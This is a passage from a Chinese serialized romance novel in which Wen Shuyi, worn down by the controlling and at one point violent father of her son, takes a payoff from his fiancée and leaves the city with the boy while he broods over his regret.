李江衍看着这张和李穗安朋友圈里,一模一样的小脸。 似乎明白了些什么。 “盛珽妄的?” 温疏亦眼眸微微垂了两下,诚实地说,“是他的。” “所以,当年你离开华城,是因为怀了他的孩子?” 温疏亦不想过多解释她当年离开的原因。 她不说话。 李江衍也没有再继续问下去。 眸底透着对温疏亦的心疼,“所以,这也是你拒绝再跟我在一起的理由,是吗?” 温疏亦不知道该说是,还是不是。 她只是不想,让李江衍再搅和进,她和盛珽妄的感情沼泽中来。 盛珽妄不是以前的盛珽妄。 他现在自私,霸道,占有欲极强。 她不想给李江衍找麻烦。 “江衍哥,我们……不可能了,你适合更好的,我这种的,就算了吧。” 李江衍看了一眼乖巧的孩子。 这小男孩,长得更像温疏亦一些。 他不是多么喜欢小孩,但也不讨厌孩子,“如果我说,我一点都不嫌弃呢?” 温疏亦眼眸一紧。 心头涌上的感动和难过,让她眼眶酸涩,“没必要江衍哥,你的条件很好,本来……你父母也不喜欢我,现在我还带着个小拖油瓶,你何必给自己找不自在呢。” 人来人往中。 仿佛定格了这份遗憾。 他们交往的时间并不长。 但他却怎么也拔不出来。 说他长情也好,说他不甘心也罢。 他就是爱了。 “先不说这个了,你们要去哪儿,正好我今天休息,我陪你们四处逛逛,你离开华城三年,其实,还是有一些变化的。” 李江衍对小家伙,有一种天然的亲近感。 他微笑着,冲小哆伸出手,“来,叔叔抱好不好?让妈妈休息一下。” 小家伙害怕盛珽妄。 但对李江衍不排斥。 这个叔叔长得好看,说话也好温柔。 最终将小胳膊伸向了他,“叔,叔。” “真乖,叔叔带你去游乐园好不好呀?”李江衍抱着小哆哆,问温疏亦,“去过游乐场了吗?” “还没有呢。” “正好,我车子在那边,我带你们去玩玩。” 温疏亦想拒绝来着。 但翕动的唇,还没有声音出来,李江衍已经将小哆哆抱着,走出了一段距离。 她只好跟了上去。 不远处的一辆墨色豪车里。 张纶替温疏亦捏了把汗,“温小姐她,不会是还想着跟李医生和好吧?这约会还带着小少爷,这是想掩人耳目吗?” 盛珽妄左手握着佛珠手串。 骨节分明的大手,青筋暴起。 微微一用力,整条珠子在掌心中斩断,佛珠滚落。 张纶也不敢再多说什么。 “三爷,要回家吗?” “去游乐场。”盛珽妄压低的声音,透出杀气,“去接上夏旖旎。” 张纶又搞不懂了。 怎么又要接上夏小姐? “您是想让温小姐吃醋吗?”张纶苦着脸,觉得这种做法,有点太幼稚,“三爷,她要是心里没了您,您就左拥右抱,这也不成啊。” “让你去接,就去接,废什么话。”盛珽妄厉声。 张纶不敢再问了,立马应下,“好的,三爷。” 当同李江衍在一起的温疏亦,遇到和夏旖旎在一起的盛珽妄时。 她眼珠子差一点掉出来。 这还真是巧儿他妈给巧儿开门,巧到家了。 她倒是不怕盛珽妄误会,就怕他针对李江衍。 视线不自觉地落到了夏旖旎的身上。 他不也是带着女人来玩了,应该不会不要脸地找她的茬吧? “疏亦,好巧啊。”夏旖旎欢快的打招呼,挽在盛珽妄胳膊上的手,却没有拿开,她看向李江衍,一副了然于心的模样,“没想到,你男朋友是江衍哥,藏得可真严实。” 华城的红圈就这么大。 大家都认识。 没什么需要客套的。 盛珽妄淡淡地扫了温疏亦一眼,“抱着我的孩子出来约会,是觉得特别刺激是吗?” “珽妄哥,疏亦这是工作和约会两不误,你就别计较了。”夏旖旎冲着二人挥手再见,“你们去玩吧,我和珽妄哥,去那边看看。” 望着二人离去的背影。 温疏亦算是松了口气。 李江衍陪着她和小哆哆,玩了好多项目,小家伙开心坏了。 和李江衍在一起。 渴了有水喝,饿了有烤肠吃。 温疏亦根本不需要带脑子。 她喜欢这种放松,又被照顾的感觉。 只可惜,这么好的人,她终究是要放弃。 坐旋转木马时。 她又跟盛珽妄和夏旖旎遇上了。 “珽妄哥,我们一起去做旋转木马吧,你看江衍哥带着小家伙在排队呢,我们一起吧?”夏旖旎看起来很想。 盛珽妄指了指自己的腿,“我不方便,你自己去,我在这儿等你。” 虽然有一些小遗憾。 夏旖旎还是痛快地答应了,“好啊,那你在这儿跟疏亦聊会儿天。” 她娇俏地看向温疏亦,“照顾好你老板哦。” “会的。”温疏亦笑笑。 她往旁边坐了坐,与盛珽妄拉开距离。 男人冷淡地睨了她一眼,“我有传染病啊?离那么远?” “不是,那边儿坐着不舒服。” “我看你在娇喘的时候,也挺舒服。” 温疏亦眼眸紧骤,这种话,他是怎么脸不红心不跳地说出来的,“那天晚上……是个意外,以后不会了。” “不会什么?”他侧过眸子问她。 温疏亦没看他,视线落到了李江衍和小哆哆的身上,“不会再跟你发生关系,我也不会给你暖床,我觉得这样,很不道德。” “道德?”盛珽妄像是听到了什么可笑的事情,“你这个人,自凡有点道德,也不至于,抱着我的孩子,跟别的男人约会,你也配提道德?” 第51章 他永远是我的长子 温疏亦气的瞪眼。 她是卖给他了吗? “盛珽妄,说白了,我算是你的雇工,最起码的人身自由,我还是有的吧?我又没嫁给你,你管那么宽干什么?” 这也不配,那也不配的。 好像他多配似的。 温疏亦烦了。 直接转身背对着盛珽妄。 盛珽妄粗淡地扫了温疏亦一眼,往她身旁挪了一个身位,“你想嫁给李江衍?” 温疏亦不想聊这种事情。 有些人心眼小。 说着说着,就开始动气。 这种人来人往的场合,她还是要面子的。 “没关系,你可以直说,说不定,我还给你送份大礼。” 温疏亦转过脸来,看了男人一眼,“你到底想干什么?” “我想知道,你和李江衍发展到哪一步了?”他微弯的眼眸底下,像一片冰冻的海川。 温疏亦看向盛珽妄。 他现在变得,她都快不认识了。 温疏亦不想给李江衍带去麻烦,淡淡地说,“我和他根本就没有发展,他条件那么好,怎么会看上我这种生过孩子的女人,就算他肯,他家人也不肯,他只是……只是可怜我一个人带孩子不容易,又凑巧遇到上……” “解释这么多干什么?”他一副不爱听的模样。 温疏亦:……不是你在问吗? 她不解释,他就得去找李江衍的麻烦。 “我不是怕你误会,我只是想告诉你,虽然我不可能嫁给李江衍,但是保不齐,我会嫁给别人,我希望三爷不要干涉我的私生活。” “想一人侍二夫?” 温疏亦蹙眉。 听听,这话说得真够难听的。 “我又不是你老婆,我又不伺候你,再说了,你不要跟夏旖旎结婚的吗?这还没跟人家结婚了,就想着在外面搞三搞四的……” 不要脸三个字。 温疏亦在嘴里嚼了嚼,没敢说出来。 “一个男人,有几个女人,算得了什么稀罕事吗?”他又往温疏亦身旁蹭了一个身位,“温疏亦,在儿子还没有成年之前,你最好给我老实一点,这对孩子的成长,有好处。” “你和夏旖旎结婚后,你们会马上有属于你们孩子,就把哆哆还给我不行吗?我这辈子可能就只有这一个孩子了,盛珽妄,我是因为你宫外孕,失去了一半做母亲的权利,你就不能做个人吗?” “无论我将来拥有多少孩子,他永远是我的长子,这是无法改变的事实,温疏亦,你想带着我的孩子去嫁人,你想都不要想,否则,你是知道后果的。” 盛珽妄在警告她。 温疏亦眼神失落,她怎么会不知道,她是斗不过盛珽妄的呢。 她只希望,他快一点结婚。 等他真的开始期待,一个因为爱情而诞生的宝宝的时候,他才会觉得她生的孩子,对他而言,根本可有可无。 旋转木马停了。 小哆哆开心坏了。 小腿倒腾着,向温疏亦跑了过来,“妈,妈,妈妈……” 就要跑到身边的时候。 他发现了盛珽妄。 脸上放松开怀的笑,瞬间被抽掉,他像一只被定住的木偶,突然站那儿不动了。 “不会叫人?”盛珽妄冷漠,严肃。 小哆哆眼眶溢满了泪,但又不敢哭,那样子,看起来,又让人心疼,又觉得盛珽妄大可不必。 “眼泪敢掉下来,今天晚上没饭吃。” 盛珽妄像个严厉的教官。 小哆哆紧紧地抿着小嘴,小手抓着裤腿,许久,才喊了一声,“爸,爸。” 他不懂,这个爸爸为什么总是对他这么凶。 别的小朋友的爸爸,会举高高,会给买零食。 可他的爸爸,不是这样的。 他不喜欢这个叫爸爸的叔叔,他更喜欢李叔叔。 温疏亦心疼坏了,起身走向儿子,将他抱进怀里,小家伙将小脑袋抵进妈妈的怀里,还是哭了。 温疏亦无法指责盛珽妄。 也无法要求,他对小孩子脾气好一些。 大抵是因为不爱吧。 也就没有所谓的耐心。 李江衍买了糖葫芦,递到了小哆哆的手里,“来,吃这个,很甜哦。” 小哆哆又开心了。 张着双臂要李江衍抱。 盛珽妄的脸沉得发黑,他起身走到李江衍面前,将小哆哆手里的糖葫芦抢过来,直接扔到了地上。 “小孩子吃太多的糖,牙齿还要不要了?” 小哆哆的小嘴哆嗦两下,眼泪唰地掉了下来。 李江衍看不下去。 这哪是亲生父亲啊。 后爹也没这样的。 “你不让他吃,你可以好好跟他讲,他就是个三岁的孩子,你有必要这样吗?” 李江衍不说话。 盛珽妄都看他不顺眼。 这一开口,盛珽妄的眼珠都红了,“李江衍,这是我的家事,你最好别多管闲事。” “我只是觉得,哆哆还这么小,你这样会吓到他的,你也不想你的儿子将来是个,别人一大声讲话,他就吓尿裤子的人吧?” 这么小的孩子,如果有了心理阴影。 将来是要出大问题的。 本来,哆哆就是很胆小敏感的孩子。 盛珽妄不懂因材施教吗? “这么大的孩子,更需要父母无条件的爱,他是你儿子,你总不能毁了他吧?” 盛珽妄咬了咬牙根,抬手攥住了李江衍的领口,“你在教我教育孩子?你算个什么东西。” 觊觎他老婆也就算了。 还觊觎他儿子。 当他死了? 李江衍跟盛珽妄讲不了道理,挣扎开他的束缚,转头对温疏亦说,“也玩得差不多了,我送你和哆哆回去吧。” “嗯,好。” 温疏亦抱着哆哆跟李江衍走了。 盛珽妄的手杖重重地杵在地面上,像是要把这地面撕裂一般。 夏旖旎其实在旁边看了一会儿了。 她是个女人。 她能清醒地感知到,盛珽妄对温疏亦有紧张感。 他在紧张什么? 怕李江衍把温疏亦抢了去? 夏旖旎有一些想不通了。 “珽妄哥。”夏旖旎收拾好表情,走了过来,“疏亦走了?那咱们,还要不要再玩一会儿?” “我公司还有事,下次再玩吧。”他哑着,是生气过后声音。 夏旖旎哦了声,“行吧,工作重要。” …… 跟着李江衍回家的路上。 小哆哆睡着了。 看着孩子脸上的泪痕,李江衍忍了再忍,还是说了几句,“要我说,盛珽妄根本就不会做一个父亲,不,他根本不知道父亲这两个字的含义是什么。” 温疏亦虽然对盛珽妄的作法不认同。 但她总是想起,他从小没有父亲这件事情,“也没人给他打过样,父亲是怎样的,江衍哥,你知道的,他亲生父亲在他很小的时候,已经牺牲了。” 第52章 你在怀疑什么 提起陆师白。 李江衍对他的事迹,有不少耳闻。 所以他更理解不了,盛珽妄为什么现在变成这样的人。 “他连他亲生父亲一半的样子,都没有。”李江衍想起了一些事情,“也许像他妈吧,当年他爸还没牺牲的时候,他妈就把他丢下,跟有钱人私奔了,离开了华城,现在儿子也成有钱人,估计以后有热闹的了。” 温疏亦错愕。 这事,她没听说过。 “他妈还活着啊?” “你以为,盛珽妄家就他自己了?”李江衍笑温疏亦,对盛珽妄了解得还是太少,“你太单纯了,盛珽妄只不过是死了亲生父亲,不是死了全家,当年盛老爷子收养他,是因为陆师白救了救盛老爷子的命,他要还人情罢了,并不是盛珽妄无家可归。” 温疏亦确实不了解盛珽妄。 六年前不了解。 六年后也不了解。 对他的家庭关系,更是不清楚。 在她走神的时候。 夏旖旎突然给温疏亦打来了电话。 “喂,旖旎。” “温疏亦,我马上就要订婚这事,你是知道的对吗?” 温疏亦不知道,夏旖旎为什么突然提及这事,“当然。” “在我和珽妄哥订婚前,我想问一下你,你和珽妄哥,没有超出上下属之外的关系吧?” 这话问得很委婉。 言外之意,却表达得很清楚。 温疏亦却一时,给了不肯定的答案。 “旖旎,你在怀疑什么?” “我听小哆哆喊你妈妈,我想知道,这孩子是不是你和盛珽妄生的?” 夏旖旎的敏锐。 超出了温疏亦的想象。 但她还是蹩脚地解释,“福利院的孩子,叫我们都会叫妈妈的,旖旎,你想多了。” “是不是我想多了,我自会找答案,疏亦,你和盛珽妄以前的事情,我也听说了一些,你们之间并不干净,但我不介意你们的以前,以后……还希望你离他远一点。” 是提点。 也是警告。 温疏亦默默应下,“你放心。” 车子开进阳光大道小区。 李江衍下车,先将睡着的哆哆抱了下来。 一转头,就看到盛珽妄站在面前。 “怎么,怕我不把她送回来?”李江衍将哆哆抱给盛珽妄,“盛珽妄,如果你有心娶别人,你就放了疏亦,如果你想跟她好好过下去,就对她好一点,起码做个人。” 温疏亦怕二人再起争执,忙对李江衍说,“江衍哥,你先回去吧,路上小心一点。” “你也早点休息。” 李江衍透过车窗,看了盛珽妄一眼,然后驱车离开。 回到家后。 温疏亦将小哆哆放到床上,盖好被子,走了出来。 她有件事情要跟盛珽妄讲一下。 “你和夏旖旎订婚的时候,我想回一趟滨城。” 盛珽妄拧眉,“逃避?” “不是。”她对他的事情,没他想的那么有感触,“乔深在康复中心的费用要交了,我得回去给他交钱,顺便看看他的病情。” 盛珽妄眼底掠过一丝不易察觉的失望。 旋即像没事人一般的,“钱不能在线上交?还非得跑一趟?他的病,一时半会儿的不会有什么进展,如果想让他得到好的治疗,可以接回华城,我可以帮你。” “不用了。”她实在不需要盛珽妄的帮忙。 当年他把乔深藏起来的时候,也没有想着先给他治病。 “你是想回滨城,还是想跟哪个男人私奔?” 温疏亦抬眸看向盛珽妄。 他是怎么说出这样的话来的? 她真的觉得挺好笑的,“我现在单身,我就算哪天跟哪个男人走了,也算是情投意合,私奔?你妈当年才叫私奔,我……” 温疏亦的话还没说完。 盛珽妄的大手,已经攥上了她的脖子。 他眼底是嗜血的红。 温疏亦暗叫完了。 她看到了盛珽妄脸上的杀意。 她的嘴太快了,竟然提到了插在他胸口的刺。 她想解释一下,她是无意的。 可他攥得她几乎无法呼吸,更别提是说话了。 “温疏亦,谁给你的胆子,来置喙我的家人了?” 温疏亦拍着男人的大手,脸瘪得发紫,“我,我就是……咳,咳……” 她实在是没法喘气。 有一种马上就要死掉的错觉。 盛珽妄放大的瞳孔,慢慢收缩,像是被什么东西给电了一下,蓦地松开了手。 眼底闪过一抹抱歉,他抬起指尖,想要查看她的伤势。 温疏亦颈间的指痕明显,惊恐的眼眸轻颤着,后退了两步,“别,别过来,我,我不是有意要提你妈的,对不起盛珽妄,你,别……别靠近我。” 或许,直到刚才,她才算是彻底明白。 盛珽妄对她做的所有的事情,不是爱,也不是不甘。 他们之间,根本没有所谓的感情在的。 如果有。 哪怕有一丝,他也不至于在她说错话的时候,先想到的就是要掐死她。 这是她离死亡感受,最近的一次。 却是在她曾经爱过的男人手里。 “疏亦,我……”他想解释。 温疏亦接连后退,逃似地跑回了房间。 从来没有反锁门习惯的她,将门反锁了。 是的,她怕。 她怕的是盛珽妄弄死她还不够,连小哆哆也要伤害。 客厅里。 盛珽妄抓着自己的头发。 陷入了无边的自责当中。 他怎么可以,因为温疏亦提及了那个令他做了三十年噩梦的母亲,就伤害她呢? 他不该。 真的不该。 闭上眼睛,是母亲离开前跟他说的一番话。 “阿稷,你乖乖睡觉哦,明天一早起来,妈妈带你去集市,给你买最喜欢的那件牛仔小外套好不好呀?” 那时的他才几岁啊。 对母亲的话,深信不疑,“妈妈,我要那件上面有五角星的,好不好?” “好啊,阿稷喜欢什么样的,妈妈就给阿稷买什么样的,乖乖的,快点睡觉。” 他心满意足地闭上了眼睛。 早上醒来的时候。 迎接他的不是,带着五角星的牛仔外套,而是母亲跟着别人私奔的消息。 他记得,父亲抽了一晚上的烟。 而他从那以后,每晚每晚都会同样的噩梦,妈妈牵着他的小手在集市上买牛仔小外套,而那个看不清模样的男人,从他的手里抢走了妈妈。 他会从梦里哭着醒来。 然后四处找妈妈。 母亲,是他的禁忌。 他却在没有任何知会的情况下,对温疏亦动了手。 他不该的。 这把他们之间本就不多的信任,全部化为灰烬。 门被敲响。 温疏亦吓得心脏一攥。 她知道是盛珽妄。 可她不敢给他开门。 他敲了几声过后,她没开门,他就离开了。 早上,她故意起得很晚。 等听到盛珽妄出门后,她才抱着哆哆出来吃饭。 “小温,你脖子怎么了?怎么有淤青啊?”王婶不知道昨晚发生了什么,“看起来还蛮厉害的?怎么搞的?” 第53章 爸爸叔叔他不喜欢我 温疏亦摸了摸脖子,随意扯了个谎,“穿的衣服,领子太紧了,昨晚睡得急,没脱,早上就这样了。” “哎哟,你以后可小心一点吧,这是容易窒息的。” 王婶好心,找了药,给温疏亦,“这个活血化淤的,你早晚擦一下。” “谢谢你啊王婶。” 王婶出门去买菜。 哆哆在客厅里玩玩具。 站在阳台上,望着漂亮的风景,温疏亦实在没有欣赏的兴致,她满脑子想的都是盛珽妄要掐死她的那个场面。 她来之前,没有想过逃的。 她在等他和夏旖旎订婚,然后他们有了自己的家,他就无暇顾及她和儿子。 那样,就算她哪天淡出他的世界。 对二人都不会有什么影响。 可是她忘了,盛珽妄让她回华城来的初衷了。 他是要对她报复。 报复就包括体力上,精神上,甚至生命上的威胁。 她还真是过了几天舒服日子,就以为可以与狼共舞了。 她要逃吗? 不管合同。 不管一亿的赔偿金。 她就带着哆哆离开这儿,离开盛珽妄,去一个他永远找不到的地方? 那样,她至少还能活着。 哆哆也不必每天被他吓得,做噩梦。 黯然垂下的睫毛里,全是对这个男人的失望。 盛珽妄离开阳关大道的小区后,很久都没有再回来住。 连王婶也被叫走了,说是准备与夏家的订婚宴的事情。 温疏亦趁这个时间,回了趟滨城。 除了跟医院了解乔深的情况。 她还做了一件大事,卖房。 她以最低的价格,最快的将房子处理完后,将钱一部分存进了康复中心的账户,用于乔深后续的治疗。 余下的部分,她还没想好。 但她决定了。 要离开华城。 在盛珽妄最幸福的时候。 …… 温疏亦回到华城那天。 是盛珽妄和夏旖旎订婚后的第三天。 王婶眉飞色舞地跟她讲,订婚当天的隆重,“那现场啊,到处是鲜花,听说都是国外空运来的,那大钻戒,跟鸽子蛋似的,盛家的大院子里,两家的亲戚和朋友,都是非富即贵的人物,那夏小姐可真美,三爷也帅。” 温疏亦淡淡地笑着。 要说没有感觉,也是骗人。 有些许的心痛和对自己的可怜吧。 人与人,真的比不了。 像她这种从小就失去亲生父母的人,注定会拥有悲剧的一生。 “他们订婚后要去哪里住,知道吗?”温疏亦问。 王婶想了想,“好像是去华阳官邸住吧。” 华阳官邸是华城有名的富人区,全是三五层的别墅,很气派。 温疏亦路过几次。 安保很严,连多看一眼,都会被警告。 夏旖旎值得最好的,谁叫他爱呢。 “那他是不是以后都不会过来了?王婶,你是不是也要去那边伺候?” 王婶抠抠头发,“三爷还没有讲,可能吧,小温,你也要跟过去吗?” 温疏亦笑着摇头,“没说。” 王婶对于去别墅做工的事情很期待。 嘴里不停地说着,盛珽妄和夏旖旎的事情,“听说,他们下半年就要结婚了,以后结了婚,就会生宝宝,那我的活就会越来越多,三爷一定会给我涨薪水的,我可真期待。” 温疏亦笑笑。 王婶又继续说,“订婚的那天,盛老爷子可高兴了,还给了夏小姐,什么传家的手镯呢,我看把大房和二房的媳妇,给嫉妒的不得了,背地后里,一个个说老爷子偏心。” “这一碗水,有时候,还真是端不平,以后这妯娌关系,可不好处喽。” 温疏亦觉得王婶想多了。 有盛珽妄在,夏旖旎怎么会吃上大房和二房的气呢。 再说了,夏旖旎,看起来是柔柔弱弱的,但她的人可不软,还有夏家做背书。 再怎么着,也不会被欺负。 中午的时候。 温疏亦陪着哆哆睡了个午觉。 破天荒的小家伙没睡,窝在妈妈怀里跟她聊天,“妈妈,我们什么时候,离开这里呀?” “哆哆不喜欢这里吗?”温疏亦温柔地抚着小家伙的头发,“这里的房子这么大,还有王奶奶做的饭也很好吃呀,是不是?” 小家伙摇头。 眼神有一些难过和悲伤,“我不喜欢爸爸叔叔。” 温疏亦得心口滞胀。 脸上却依然是温和的模样,“为什么呀?哆哆为什么不喜欢爸爸叔叔?是因为他太严厉了吗?” “爸爸叔叔……好像不喜欢我,总是带我去做一些,我不敢的事情……”小家伙嫩声嫩气的,有很多不满,“妈妈,哆哆胆子小,哆哆怕怕。” 温疏亦抱紧了儿子。 她没有生一个像盛珽妄的孩子。 没有继承他那样的勇敢和不服输。 可这不是哆哆的错。 “所以,哆哆要离开爸爸叔叔,想跟妈妈回咱们自己家里,是不是呀?” 小哆哆认真地点头,“我不想要爸爸叔叔,妈妈,我们离开这儿,好不好呀?” 温疏亦心要碎了。 她可以受委屈,可她的儿子有什么错。 温疏亦将儿子搂的更紧了,“好,妈妈答应哆哆,我们过几天就离开这儿,你现在乖乖睡觉,嗯?” “妈妈要说话算话。”小家伙伸出小手指,“要拉钩,要一百年不变。” “好。” 哄睡了哆哆。 温疏亦便开始收拾行李。 王婶今天晚上,她就会去华阳府邸那边,从明天开始,帮着照顾夏旖旎的饮食起居。 这是一个机会。 一想到,有机会离开这儿。 温疏亦的心,莫名亮堂了许多。 晚上王婶离开后,她做了哆哆爱吃的红枣糯米饭。 放了一些糖。 小家伙吃得好开心。 “妈妈,我好久,好久,好久都没有吃过这么甜的饭饭了,爸爸叔叔,这个不准我吃,那个也不准不我吃……”小家伙拍着自己鼓鼓囊囊的小肚子,“……哆哆都饿瘦了呢。” 温疏亦伸手揉了揉宝宝的头顶,微微笑着,“以后妈妈,天天做哆哆爱吃的,好不好呀?” “好呀好呀,哆哆最爱妈妈了。” 饭后。 温疏亦又给儿子熬了百合银耳粥。 没有盛珽妄在。 小哆哆爱笑了,也爱闹了,又恢复了原来的样子。 “叮咚。” 门铃响了。 温疏亦和小哆哆同时一愣。 小家伙一头冲进妈妈的怀里,惊恐地问,“妈妈,是不是爸爸叔叔回来了?” 温疏亦猜,不是。 如果是盛珽妄,他不会摁门铃。 “哆哆,你先回房间。” 小哆哆跑到进自己的房间,将门关好。 温疏亦这才起身去开门。 是夏旖旎。 意外,也不意外。 “旖旎,你怎么来了?”温疏亦努力让自己,跟平时无恙。 第54章 女人没必要为了男人撕在一起 夏旖旎微微一笑,“听说你在这儿住,我过来看看,不请我进去坐坐?” “当然,你请进吧。” 夏旖旎有想过盛珽妄会金屋藏娇。 她没有想到,会是这么大一个屋。 “这房子……”夏旖旎转过脸来,看向温疏亦,依然是淡如风轻的模样,“……是盛珽妄给你买的?” “不,不,不……不是。”温疏亦疯狂否定,“我和王婶就是给他打工的,我们是保姆,是下人。这是三爷自己的房子,前段时间,他已经准备资料,想把房子过户给你,没跟你讲吗?” 夏旖旎微微耸眉。 似信,又似不信。 “他还没跟我讲。”夏旖旎的目光,落到温疏亦的面上,“这房子挺大的,工作起来很辛苦吧?” 温疏亦倒了杯咖啡,递给夏旖旎,“王婶负责做饭打扫卫生,我负责看孩子,打扫卫生,我们两个配合得还不错,偶尔还有休息的时间。” 夏旖旎将整个房间,环视一周后,这才坐下来,“那你挺能干的,说实在的,你也是红圈子弟,为什么要来给盛珽妄做佣人?是对他还旧情难忘吗?” “当然不是。” 既然夏旖旎,知道了她和盛珽妄的一些事情。 温疏亦也没打算藏着掖着,“我这次给三爷打工,完全是巧合,旖旎,你别多想。” 夏旖旎端起咖啡轻啜了一口。 有些嫌弃的放下,抬眸,“我没法不多想,疏亦,不管你当初撮合我和盛珽妄的事情,有多少私心在,我和他现在的关系,确实已经发生了改变,我今天过来,也想跟你聊聊,你的去留问题。” 她从包里拿出一张支票。 上面的数字是二百万。 轻轻地放到了桌面上,“这里有二百万,我希望你拿着这笔钱,从此在华城消失,我不管你带着的那个哆哆,是不是盛珽妄的孩子,盛珽妄的第一个孩子,只会是我的生的。” 温疏亦拿起支票细细看看着。 现金支取。 夏旖旎比许初音,光明磊落多了。 还给钱。 “我明白你的意思,旖旎,我会带哆哆离开的。” 夏旖旎松了口气。 她这个人极爱面子,好在温疏亦给了她面子。 “疏亦,以我们的关系,实在不该为一个男人撕破脸,还好你懂我,这二百万,算是你以后和哆哆的生活费吧。”她深呼吸,“谁还没个前任呢,忘掉他吧疏亦,你一定会找到,比盛珽妄更好的男人。” 温疏亦微笑。 平白无故的得了二百万。 她真的还挺开心的,“谢谢你旖旎。” 没有恶语相加。 没有因为一个男人,而撕得死去活来。 夏旖旎比许初音理智。 温疏亦也没有那么执着。 送走夏旖旎。 温疏亦睡了来华城后,第一个好觉。 清晨一早。 她就拖着行李,带着哆哆先去了银行,将支票上的钱全部转到自己的银行卡后,就坐上了去往某个城市的火车。 温疏亦没有目的。 她想先带着哆哆四处旅游一下。 至于在哪儿定居,她还没有想好。 无论在哪儿,只要盛珽妄想找她,自然是找得到,躲在哪儿也没有用。 她清楚。 所有的通讯方式,都还保留着。 两个小时后。 盛珽妄回了江阳大道小区。 他手捧着一束白色的玫瑰花,还有给哆哆买的变形金刚玩具。 最近,他一直在反省。 或许,对于一个两三岁的孩子,他的那套教育理论,过于的残酷。 他对这个孩子,寄予的希望很高。 他想把他当继承人来培养,所以格外的严厉。 这能说他不爱这个孩子,甚至嫌弃这个孩子吗? 当然不是。 但他真的需要改变。 输入密码,他走进四百平的大平层。 空气中,还有温疏亦平时用的护肤品的香气。 他有一些心安。 “温疏亦。” “哆哆,你看爸爸给你买什么来了?” “疏亦?” “哆哆?” 没人。 他心里一空。 忙拿出手机给温疏亦拨了过去。 所幸,这次,她的手机是通的。 “喂?”在火车上的女人,接起了手机。 “温疏亦,你带着儿子去哪儿了?”盛珽妄松了松领带,语气不悦,“能不能别总乱跑?最近外面流感很严重,哆哆还那么小……” “我给他戴口罩了。”温疏亦语气淡淡的,“你有事啊?” 盛珽妄沉顿了一会儿,想着先道歉,“那天晚上……对不起啊,你脖子还疼不疼了?其实,我是想着订完婚后,陪你一起去滨城的,没想到你自己去了。” “哦,你不用陪我,你既然订了婚了,就好好陪夏旖旎吧,我带哆哆出来旅游,你不用担心我们,玩够了,我们就回去了。” 温疏亦说得轻描淡写。 盛珽妄听的火冒三丈。 旅游? “去哪儿旅游了,怎么不跟我说一声?” “这不是跟你说了,没什么事,我就挂了。” 没等盛珽妄再开口。 温疏亦直接挂断了手机。 再打去时,那头关机了。 盛珽妄不敢往别处想,但不想,不代表不会发生。 他好像又把事情搞砸了。 摁了个号码,他给顾临打了过去,“过来,陪我喝点酒。” “你是不是不想要你的胃了?盛珽妄,你还敢喝酒?”顾临语气中夹着一些无可奈何,“这又是遇到什么事情了?” “温疏亦又跑了。”盛珽妄说这话时,唇角是一抹苦笑,“你不来,我就去找你了。” “来,来,来,我马上过去。” 顾临来时。 盛珽妄已经喝了半瓶红酒。 他真是吓坏了,直接把另外那半瓶,倒进了马桶里。 “你要死啊?”顾临脱下外套,扔到一旁,“盛珽妄,你刚做了手术,又喝酒,酒能解决事情,还是怎么着?” “不能。”盛珽妄耸肩。 “你知道不能,还喝成这样?” 盛珽妄笑了,有些慵懒地靠在沙发背上,“顾临,你说,我这是怎么了?我把温疏亦带回来,是不是错了?我应该让她在滨城生活,把儿子带大,或是放她去寻找她的幸福,她想嫁李江衍也好,嫁谁也好,我不去管,放她自由……,你说,我是不是错了?” 顾临看着盛珽妄无能为力的笑。 唏嘘。 谁能想到,在战场上杀人不眨眼的战士,会为情所困。 “我听张纶说,你在没有通知温疏亦的情况下,把结婚证领了?” 盛珽妄点头,“没错。” “那你既然跟温疏亦领了结婚证,为什么还要跟夏旖旎订婚呢?”顾临搞不懂,盛珽妄到底想干什么,“你就没有想过,你这样伤害的是两个女人?” 盛珽妄深呼吸,“盛老爷子时日无多了,看我和夏家结亲,是他的心愿,我拒绝不了。” “你想还盛家的人情,但这样……”事情既然发生了,说什么都晚了,“……你真的给自己找了个大麻烦。” 第55章 把他卖了 “顾临,你说,我该不该再把温疏亦找回来?” 他现在很迷茫。 在战场上面对千军万马的时候,他也没有这样过。 顾临不知道温疏亦的离开,到底是因为盛珽妄和夏旖旎订婚,还是别的什么? “如果她离开,是因为在感情上对你失望,你可以把你的苦衷跟她讲出来,我相信她也是讲道理的人,你们或许还能和好,如果是别的……” 盛珽妄抽了根烟,递到唇上,低头点着后,深吸了一口,“那晚,我差点掐死她,她应该是害怕了……” “什么?” 顾临一拍大腿。 觉得盛珽妄疯了。 “你差点掐死她?不是,这是什么情况啊?家暴啊?” “不算是家暴,就是一时激动……”盛珽妄吸着烟,淡淡地说,“……她提到了我母亲跟别的男人私奔的事情,你知道的,我母亲是我这么多年的噩梦,我不知道她从哪听说的,或许是从李江衍那儿吧,反正,这事,对我来说……是当场无法消化的。” 顾临明白了。 盛珽妄的母亲,是不允许任何人提及的。 就算是他这个从小长大的朋友。 对这事,也是禁忌三分。 “既然你想与她做夫妻,你就应该把你们家的事情,跟她讲,夫妻之间,如果划上太多的,不可,不允,不行的界限,婚姻是进行不下去的。” “你母亲的事情,虽然在你心里是一根刺,但这么多年过去了,你也应该学着释怀,学着放下,你因为这事,跟温疏亦动手,她就算再爱你,心也凉了。” 盛珽妄吐出灰白的烟雾。 拧紧的眉眼变得越发的深邃,“我不该,我知道。” “要不,就算了吧。”顾临觉得两个人的感情,难到这个地步,就是不适合在一起,“我看夏旖旎挺喜欢你的,你就和她好好过的了。” 盛珽妄抬眸看了他眼,似是冷嘲地说,“那你这么多年,怎么不找个人结婚,你等叶棠干什么?我看你们就算了得了。” “谁说我等她了。”顾临嘴硬。 盛珽妄冷呵。 顾临往前抻了抻脖子,“这在说你的事情,你别转移话题,你说温疏亦这么爱跑,就算你这次再把她找回来,以后你们吵架了,有矛盾了,她还得跑,你何苦来的呢。” “她离开是有原因的。” 顾临:…… 得。 这已经开始给别人找借口了。 他这个坏人,就别当了。 “行,行,你既然这么爱,你就去追吧,保证你一追一个不吱声,我看她对你,没什么感情,你愿意吃这爱情的苦,我也拦不住,你随意吧。” 好言难劝该死的鬼。 顾临不劝了。 有些苦,得自己吃够了,才算数。 盛珽妄没有第一时间去找温疏亦。 她的手机还通着。 她偶尔也会发朋友圈。 也并没有屏蔽他。 小哆哆看起来开心多了。 他把母子两个的合照,下载下来,做了朋友圈的头像。 这一举动,把夏旖旎气着了。 她感觉不仅她受到了侮辱,夏家也跟着成了圈内谈资。 盛珽妄一进公司。 